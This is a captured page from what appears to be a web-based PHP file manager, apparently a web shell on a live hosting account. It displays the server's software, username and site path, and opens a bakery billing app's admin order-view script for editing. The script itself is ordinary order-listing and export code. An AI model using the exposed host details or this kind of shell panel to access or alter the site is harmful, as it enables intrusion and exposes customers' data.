Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/ecommer.in/public_html/billing/bakery/seller/auditor

Free Space:

10.3 TB

🔧 Quick Actions

✏️ Editing: view_orders.php

<?php
// view_orders.php
session_start();
require_once 'config/db_config.php'; // expects $pdo (PDO)

// ---- Auth (admins only) ----
if (!isset($_SESSION['user_id']) || !isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
    header("Location: login.php");
    exit();
}

// ---- CSRF token ----
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrf = $_SESSION['csrf_token'];

// ---- Helpers ----
function h(string $v): string { return htmlspecialchars($v, ENT_QUOTES, 'UTF-8'); }

// ---- Determine filters ----
$selected_branch_id = $_GET['branch_id'] ?? 'all';
$start_date = $_GET['start_date'] ?? date('Y-m-d', strtotime('-30 days'));
$end_date = $_GET['end_date'] ?? date('Y-m-d');

$where_clause = ["o.order_date BETWEEN :start_date AND :end_date", "b.third_party = 0"]; // Exclude third-party branches
$params = ['start_date' => $start_date . ' 00:00:00', 'end_date' => $end_date . ' 23:59:59'];

if ($selected_branch_id !== 'all' && is_numeric($selected_branch_id)) {
    $where_clause[] = 'o.branch_id = :branch_id';
    $params['branch_id'] = $selected_branch_id;
}

// ---- Handle CSV and JSON export ----
if (isset($_GET['export'])) {
    try {
        $query = "
            SELECT o.order_id, o.customer_name, o.customer_contact, o.order_date, o.total_amount, o.status, b.branch_name
            FROM orders o
            JOIN branches b ON o.branch_id = b.branch_id
            " . (!empty($where_clause) ? "WHERE " . implode(' AND ', $where_clause) : "") . "
            GROUP BY o.order_id
            ORDER BY o.order_date DESC
        ";
        $stmt = $pdo->prepare($query);
        $stmt->execute($params);
        $orders = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Clear any previous output
        if (ob_get_length()) {
            ob_clean();
        }

if ($_GET['export'] === 'excel') {
            // CSV Export
            header('Content-Type: text/csv; charset=utf-8');
            header('Content-Disposition: attachment;filename="orders_export_' . date('Ymd_His') . '.csv"');
            header('Cache-Control: max-age=0');
            header('Pragma: no-cache');

$output = fopen('php://output', 'w');
            fputs($output, "\xEF\xBB\xBF"); // UTF-8 BOM for Excel
            fputcsv($output, ['S.No', 'Customer Name', 'Customer Contact', 'Order Date', 'Total Amount', 'Status', 'Branch']);

foreach ($orders as $index => $order) {
                fputcsv($output, [
                    $index + 1,
                    $order['customer_name'] ?: 'Walk-in Customer',
                    $order['customer_contact'],
                    date('d M Y, H:i', strtotime($order['order_date'])),
                    number_format($order['total_amount'], 2),
                    ucfirst($order['status']),
                    $order['branch_name']
                ]);
            }
            fclose($output);
            exit();
        } elseif ($_GET['export'] === 'json') {
            // JSON Export
            header('Content-Type: application/json; charset=utf-8');
            header('Content-Disposition: attachment;filename="orders_export_' . date('Ymd_His') . '.json"');
            header('Cache-Control: max-age=0');
            header('Pragma: no-cache');

$json_data = [];
            foreach ($orders as $index => $order) {
                $json_data[] = [
                    'S.No' => $index + 1,
                    'Customer Name' => $order['customer_name'] ?: 'Walk-in Customer',
                    'Customer Contact' => $order['customer_contact'],
                    'Order Date' => date('d M Y, H:i', strtotime($order['order_date'])),
                    'Total Amount' => number_format($order['total_amount'], 2),
                    'Status' => ucfirst($order['status']),
                    'Branch' => $order['branch_name']
                ];
            }
            echo json_encode($json_data, JSON_PRETTY_PRINT);
            exit();
        }
    } catch (Exception $e) {
        $_SESSION['error'] = "Error exporting: " . h($e->getMessage());
        header("Location: view_orders.php");
        exit();
    }
}

// ---- Fetch branches for dropdown (excluding third-party) ----
try {
    $stmt = $pdo->query("SELECT branch_id, branch_name FROM branches WHERE third_party = 0 ORDER BY branch_name");
    $branches = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    $_SESSION['error'] = "Error fetching branches: " . h($e->getMessage());
    $branches = [];
}

// ---- Fetch orders (excluding third-party branches) ----
try {
    $query = "
        SELECT o.order_id, o.customer_name, o.customer_contact, o.order_date, o.total_amount, o.status, o.is_gst_active, b.branch_name
        FROM orders o
        JOIN branches b ON o.branch_id = b.branch_id
        " . (!empty($where_clause) ? "WHERE " . implode(' AND ', $where_clause) : "") . "
        GROUP BY o.order_id
        ORDER BY o.order_date DESC, o.order_id DESC
    ";
    $stmt = $pdo->prepare($query);
    $stmt->execute($params);
    $orders = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (PDOException $e) {
    $_SESSION['error'] = "Error fetching orders: " . h($e->getMessage());
    $orders = [];
}

// ---- Fetch order items for modals ----
$order_items = [];
try {
    foreach ($orders as $order) {
        $stmt = $pdo->prepare("
            SELECT oi.item_id, oi.quantity, oi.price, oi.subtotal, f.food_name, f.image_url
            FROM order_items oi
            JOIN foods f ON oi.food_id = f.food_id
            WHERE oi.order_id = :order_id
        ");
        $stmt->execute(['order_id' => $order['order_id']]);
        $order_items[$order['order_id']] = $stmt->fetchAll(PDO::FETCH_ASSOC);
    }
} catch (PDOException $e) {
    $_SESSION['error'] = "Error fetching order items: " . h($e->getMessage());
}

// ---- DataTable init ----
$script = '
<script>
document.addEventListener("DOMContentLoaded", function () {
    try {
        if (!$.fn.DataTable.isDataTable("#ordersTable")) {
            let table = $("#ordersTable").DataTable({
                responsive: true,
                pageLength: 10,
                language: {
                    search: "_INPUT_",
                    searchPlaceholder: "Search orders..."
                },
                columnDefs: [
                    { orderable: false, targets: [0, 7] } // S.No and Actions columns
                ],
                order: [[3, "desc"]] // Order by date column (index 3)
            });
        }
    } catch (e) {
        console.error("DataTable init error:", e);
    }
});
</script>

<div class="dashboard-main-body">
    <div class="d-flex flex-wrap align-items-center justify-content-between gap-2 mb-16">
        <h6 class="fw-semibold mb-0 text-lg">View Orders</h6>
        <ul class="d-flex align-items-center gap-1 small">
            <li class="fw-medium">
                <a href="index.php" class="d-flex align-items-center gap-1 hover-text-primary text-sm">
                    <i class="fas fa-home fa-icon"></i>
                    Dashboard
                </a>
            </li>
            <li>-</li>
            <li class="fw-medium text-sm">View Orders</li>
        </ul>
    </div>

<div class="card h-100 mb-24">
        <div class="card-header compact-header">
            <h6 class="section-title fw-semibold mb-0 text-md">Filter Orders (Own Branches Only)</h6>
        </div>
        <div class="card-body compact-body">
            <div class="d-flex flex-wrap gap-3 align-items-center">
                <form method="GET" action="view_orders.php" class="d-flex gap-3 flex-wrap w-100">
                    <div class="flex-grow-1">
                        <select class="form-select form-select-sm" name="branch_id" onchange="this.form.submit()" style="font-size: 0.875rem; border-radius: 0.375rem;">
                            <option value="all" <?= $selected_branch_id === 'all' ? 'selected' : ''; ?>>All Own Branches</option>
                            <?php foreach ($branches as $branch): ?>
                                <option value="<?= h($branch['branch_id']); ?>" <?= $selected_branch_id == $branch['branch_id'] ? 'selected' : ''; ?>>
                                    <?= h($branch['branch_name']); ?>
                                </option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="flex-grow-1">
                        <input type="date" class="form-control form-control-sm" name="start_date" value="<?= h($start_date); ?>" onchange="this.form.submit()" style="font-size: 0.875rem; border-radius: 0.375rem;">
                    </div>
                    <div class="flex-grow-1">
                        <input type="date" class="form-control form-control-sm" name="end_date" value="<?= h($end_date); ?>" onchange="this.form.submit()" style="font-size: 0.875rem; border-radius: 0.375rem;">
                    </div>
                    <div class="flex-grow-1">
                        <div class="dropdown">
                            <button class="btn btn-primary btn-sm w-100 d-flex align-items-center gap-1 dropdown-toggle" type="button" id="exportDropdown" data-bs-toggle="dropdown" aria-expanded="false" style="font-size: 0.875rem; border-radius: 0.375rem;">
                                <i class="fas fa-file-export fa-icon"></i>
                                Export
                            </button>
                            <ul class="dropdown-menu" aria-labelledby="exportDropdown">
                                <li><button type="submit" name="export" value="excel" class="dropdown-item">Export to Excel</button></li>
                                <li><button type="submit" name="export" value="json" class="dropdown-item">Export to JSON</button></li>
                            </ul>
                        </div>
                    </div>
                </form>
            </div>
        </div>
    </div>

<?php if (!empty($_SESSION['success'])): ?>
        <div class="alert alert-success alert-dismissible fade show mb-24" role="alert">
            <i class="fas fa-check-circle fa-icon"></i>
            <?= h($_SESSION['success']); unset($_SESSION['success']); ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    <?php endif; ?>
    <?php if (!empty($_SESSION['error'])): ?>
        <div class="alert alert-danger alert-dismissible fade show mb-24" role="alert">
            <i class="fas fa-exclamation-triangle fa-icon"></i>
            <?= h($_SESSION['error']); unset($_SESSION['error']); ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    <?php endif; ?>

<div class="card h-100 mt-5">
        <div class="card-header compact-header">
            <h6 class="fw-semibold mb-0 text-md">All Orders (Own Branches) - <?php echo count($orders); ?> found</h6>
        </div>
        <div class="card-body compact-body">
            
            <div class="d-none d-lg-block">
                <div class="table-responsive">
                    <table class="table bordered-table sm-table small-table mb-0" id="ordersTable">
                        <thead>
                            <tr>
                                <th scope="col">S.No</th>
                                <th scope="col">Customer Name</th>
                                <th scope="col">Customer Contact</th>
                                <th scope="col">Order Date</th>
                                <th scope="col">Total Amount</th>
                                <th scope="col" class="text-center">Status</th>
                                <th scope="col">Branch</th>
                                <th scope="col">Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (empty($orders)): ?>
                                <tr>
                                    <td colspan="8" class="text-sm text-center">
                                        <div class="d-flex flex-column align-items-center py-4">
                                            <i class="fas fa-shopping-cart text-3xl text-secondary mb-2"></i>
                                            <span>No orders found</span>
                                        </div>
                                    </td>
                                </tr>
                            <?php else: ?>
                                <?php foreach ($orders as $index => $order): ?>
                                    <tr>
                                        <td class="text-sm"><?= sprintf('%02d', $index + 1); ?></td>
                                        <td class="text-sm">
                                            <a href="javascript:void(0)" class="text-primary-600" data-bs-toggle="modal" data-bs-target="#orderModal<?= (int)$order['order_id']; ?>">
                                                <i class="fas fa-user fa-icon"></i>
                                                <?= h($order['customer_name'] ?: 'Walk-in Customer'); ?>
                                            </a>
                                        </td>
                                        <td class="text-sm">
                                            <i class="fas fa-phone fa-icon"></i>
                                            <?= h($order['customer_contact']); ?>
                                        </td>
                                        <td class="text-sm">
                                            <i class="fas fa-calendar-alt fa-icon"></i>
                                            <?= date('d M Y, H:i', strtotime($order['order_date'])); ?>
                                        </td>
                                        <td class="text-sm">
                                            <i class="fas fa-rupee-sign fa-icon"></i>
                                            ₹<?= number_format($order['total_amount'], 2); ?>
                                        </td>
                                        <td class="text-center">
                                            <?php
                                            $status_class = $order['status'] === 'pending' ? 'bg-warning-focus text-warning-main' :
                                                            ($order['status'] === 'completed' ? 'bg-success-focus text-success-main' :
                                                            ($order['status'] === 'processing' ? 'bg-info-focus text-info-main' : 'bg-danger-focus text-danger-main'));
                                            ?>
                                            <span class="<?= $status_class; ?> px-20 py-1 rounded-pill fw-medium text-xs small-badge">
                                                <?= ucfirst(h($order['status'])); ?>
                                            </span>
                                        </td>
                                        <td class="text-sm">
                                            <i class="fas fa-store fa-icon"></i>
                                            <?= h($order['branch_name'] ?? 'N/A'); ?>
                                        </td>
                                        <td>
                                            <div class="d-flex gap-1">
                                                <a href="javascript:void(0)"
                                                   class="w-32-px h-32-px bg-primary-light text-primary-600 rounded-circle d-inline-flex align-items-center justify-content-center"
                                                   data-bs-toggle="modal"
                                                   data-bs-target="#orderModal<?= (int)$order['order_id']; ?>"
                                                   title="View Order Details">
                                                    <i class="fas fa-eye fa-icon"></i>
                                                </a>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>

<div class="d-block d-lg-none">
                <?php if (empty($orders)): ?>
                    <div class="text-center text-sm py-4">
                        <div class="d-flex flex-column align-items-center">
                            <i class="fas fa-shopping-cart text-3xl text-secondary mb-2"></i>
                            <span>No orders found</span>
                        </div>
                    </div>
                <?php else: ?>
                    <div class="row g-3">
                        <?php foreach ($orders as $index => $order): ?>
                            <div class="col-12">
                                <div class="card order-card shadow-sm">
                                    <div class="card-body">
                                        <div class="d-flex justify-content-between align-items-start mb-2">
                                            <h6 class="card-title mb-0 text-sm fw-bold">
                                                <i class="fas fa-shopping-cart fa-icon"></i>
                                                Order #<?= (int)$order['order_id']; ?>
                                            </h6>
                                            <div class="form-check style-check">
                                                <label class="form-check-label text-sm">S.L: <?= sprintf('%02d', $index + 1); ?></label>
                                            </div>
                                        </div>
                                        <div class="mb-2">
                                            <p class="text-sm mb-1">
                                                <strong><i class="fas fa-user fa-icon"></i> Customer:</strong> <?= h($order['customer_name'] ?: 'Walk-in Customer'); ?>
                                            </p>
                                            <p class="text-sm mb-1">
                                                <strong><i class="fas fa-phone fa-icon"></i> Contact:</strong> <?= h($order['customer_contact']); ?>
                                            </p>
                                            <p class="text-sm mb-1">
                                                <strong><i class="fas fa-store fa-icon"></i> Branch:</strong> <?= h($order['branch_name'] ?? 'N/A'); ?>
                                            </p>
                                            <p class="text-sm mb-1">
                                                <strong><i class="fas fa-calendar-alt fa-icon"></i> Order Date:</strong> <?= date('d M Y, H:i', strtotime($order['order_date'])); ?>
                                            </p>
                                            <p class="text-sm mb-1">
                                                <strong><i class="fas fa-rupee-sign fa-icon"></i> Total:</strong> ₹<?= number_format($order['total_amount'], 2); ?>
                                            </p>
                                            <p class="text-sm mb-1">
                                                <strong><i class="fas fa-info-circle fa-icon"></i> Status:</strong>
                                                <?php
                                                $status_class = $order['status'] === 'pending' ? 'bg-warning-focus text-warning-main' :
                                                                ($order['status'] === 'completed' ? 'bg-success-focus text-success-main' :
                                                                ($order['status'] === 'processing' ? 'bg-info-focus text-info-main' : 'bg-danger-focus text-danger-main'));
                                                ?>
                                                <span class="<?= $status_class; ?> px-10 py-1 rounded-pill fw-medium text-xs">
                                                    <?= ucfirst(h($order['status'])); ?>
                                                </span>
                                            </p>
                                        </div>
                                        <div class="d-flex justify-content-end align-items-center mt-3">
                                            <a href="javascript:void(0)"
                                               class="btn btn-sm btn-outline-primary"
                                               data-bs-toggle="modal"
                                               data-bs-target="#orderModal<?= (int)$order['order_id']; ?>">
                                                <i class="fas fa-eye fa-icon"></i> View Details
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        <?php endforeach; ?>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </div>

<?php foreach ($orders as $order): ?>
        <div class="modal fade" id="orderModal<?= (int)$order['order_id']; ?>" tabindex="-1" aria-labelledby="orderModalLabel<?= (int)$order['order_id']; ?>" aria-hidden="true">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header">
                        <h6 class="section-title modal-title" id="orderModalLabel<?= (int)$order['order_id']; ?>">
                            <i class="fas fa-receipt fa-icon"></i>
                            Order #<?= (int)$order['order_id']; ?>
                        </h6>
                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    </div>
                    <div class="modal-body" style="background-color: #ffffff;">
                        <div class="row">
                            
                            <div class="col-md-4 mb-3 text-center">
                                <div class="bg-light rounded p-4">
                                    <i class="fas fa-receipt text-4xl text-muted mb-2"></i>
                                    <p class="text-muted mb-0">Order Receipt</p>
                                </div>
                            </div>
                            
                            <div class="col-md-8">
                                <table class="table table-bordered table-sm">
                                    <tbody>
                                        <tr>
                                            <th scope="row" style="width: 30%;"><i class="fas fa-user fa-icon"></i> Customer Name</th>
                                            <td><?= h($order['customer_name'] ?: 'Walk-in Customer'); ?></td>
                                        </tr>
                                        <tr>
                                            <th scope="row"><i class="fas fa-phone fa-icon"></i> Contact</th>
                                            <td><?= h($order['customer_contact']); ?></td>
                                        </tr>
                                        <tr>
                                            <th scope="row"><i class="fas fa-store fa-icon"></i> Branch</th>
                                            <td><?= h($order['branch_name'] ?? 'N/A'); ?></td>
                                        </tr>
                                        <tr>
                                            <th scope="row"><i class="fas fa-calendar-alt fa-icon"></i> Order Date</th>
                                            <td><?= date('d M Y, H:i', strtotime($order['order_date'])); ?></td>
                                        </tr>
                                        <tr>
                                            <th scope="row"><i class="fas fa-rupee-sign fa-icon"></i> Total Amount</th>
                                            <td>₹<?= number_format($order['total_amount'], 2); ?></td>
                                        </tr>
                                        <tr>
                                            <th scope="row"><i class="fas fa-info-circle fa-icon"></i> Status</th>
                                            <td><?= ucfirst(h($order['status'])); ?></td>
                                        </tr>
                                        <tr>
                                            <th scope="row"><i class="fas fa-percentage fa-icon"></i> GST Status</th>
                                            <td><?= $order['is_gst_active'] ? 'On' : 'Off'; ?></td>
                                        </tr>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                        
                        <h6 class="fw-bold mb-3"><i class="fas fa-list fa-icon"></i> Order Items</h6>
                        <div class="table-responsive">
                            <table class="table bordered-table sm-table small-table mb-0">
                                <thead>
                                    <tr>
                                        <th><i class="fas fa-utensils fa-icon"></i> Food</th>
                                        <th><i class="fas fa-hashtag fa-icon"></i> Quantity</th>
                                        <th><i class="fas fa-tag fa-icon"></i> Price</th>
                                        <th><i class="fas fa-calculator fa-icon"></i> Subtotal</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php foreach ($order_items[$order['order_id']] ?? [] as $item): ?>
                                        <tr>
                                            <td>
                                                <div class="d-flex align-items-center">
                                                    <?php if (!empty($item['image_url'])): ?>
                                                        <img src="../<?= h($item['image_url']); ?>" alt="<?= h($item['food_name']); ?>" class="flex-shrink-0 me-2 radius-8" style="width: 40px; height: 40px; object-fit: cover;">
                                                    <?php else: ?>
                                                        <div class="flex-shrink-0 me-2 bg-light rounded d-flex align-items-center justify-content-center" style="width: 40px; height: 40px;">
                                                            <i class="fas fa-utensils text-muted"></i>
                                                        </div>
                                                    <?php endif; ?>
                                                    <span class="text-sm"><?= h($item['food_name']); ?></span>
                                                </div>
                                            </td>
                                            <td class="text-sm"><?= (int)$item['quantity']; ?></td>
                                            <td class="text-sm">₹<?= number_format($item['price'], 2); ?></td>
                                            <td class="text-sm">₹<?= number_format($item['subtotal'], 2); ?></td>
                                        </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-secondary btn-sm" data-bs-dismiss="modal">
                            <i class="fas fa-times fa-icon"></i> Close
                        </button>
                    </div>
                </div>
            </div>
        </div>
    <?php endforeach; ?>
</div>

<?php echo $script; ?>
<?php include './partials/layouts/layoutBottom.php'; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: view_orders.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation